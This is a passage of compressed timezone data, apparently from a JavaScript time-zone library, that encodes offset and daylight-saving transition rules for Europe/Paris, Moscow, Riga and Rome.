1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0|19e5","Europe/Paris|LMT PMT WET WEST CEST CET WEMT|-9.l -9.l 0 -10 -20 -10 -20|01232323232323232323232323232323232323232323232323234545463654545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545|-3bQ09.l MDA0 cNb9.l HA0 19A0 1iM0 11c0 1oo0 Wo0 1rc0 QM0 1EM0 UM0 1u00 10o0 1io0 1wo0 Rc0 1a00 1fA0 1cM0 1cM0 1io0 17c0 1fA0 1a00 1io0 1a00 1io0 17c0 1fA0 1a00 1io0 17c0 1cM0 1cM0 1a00 1io0 1cM0 1cM0 1a00 1fA0 1io0 17c0 1cM0 1cM0 1a00 1fA0 1io0 1qM0 Df0 Ik0 5M30 WM0 1fA0 1cM0 Vx0 hB0 1aq0 16M0 1ekn0 1cL0 1fC0 1a00 1fA0 1cM0 1cM0 1cM0 1fA0 1a00 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|11e6","Europe/Moscow|LMT MMT MMT MST MDST MSD MSK +05 EET EEST MSK|-2u.h -2u.h -2v.j -3v.j -4v.j -40 -30 -50 -20 -30 -40|01232434565756865656565656565656565698656565656565656565656565656565656565656a6|-3D8Ou.h 1sQM0 2pyW.W 1bA0 11X0 GN0 1Hb0 c4v.j ik0 3DA0 dz0 15A0 c10 2q10 iM10 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cN0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|16e6","Europe/Riga|LMT RMT LST EET MSK CEST CET MSD EEST|-1A.y -1A.y -2A.y -20 -30 -20 -10 -40 -30|0121213456565647474747474747474838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383|-3D8NA.y 1xde0 11A0 1iM0 ko0 gWm0 yDXA.y 2bX0 3fE0 WM0 1fA0 1cM0 1cM0 4m0 1sLy0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cN0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cN0 1o00 11A0 1o00 11A0 1qM0 3oo0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|64e4","Europe/Rome|LMT RMT CET CEST|-N.U -N.U -10 -20|012323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-4aU0N.U 15snN.U T000 Lz0 1cN0 1db0 1410 1on0 Wp0 1qL0 17d0 1cL0 M3B0 5M20 WM0 1fA0 1cM0 16M0 1iM0 16m0 1de0 1lc0 14m0 1lc0 WO0 1qM0 GTW0 On0 1C10 LA0 1C00 LA0 1EM0 LA0 1C00 LA0 1zc0 Oo0 1C00 Oo0 1C00 LA0 1zc0 Oo0 1C00 LA0 1C00 LA0 1zc0 Oo0 1C00 Oo0 1zc0 Oo0 1fC0 1a00 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 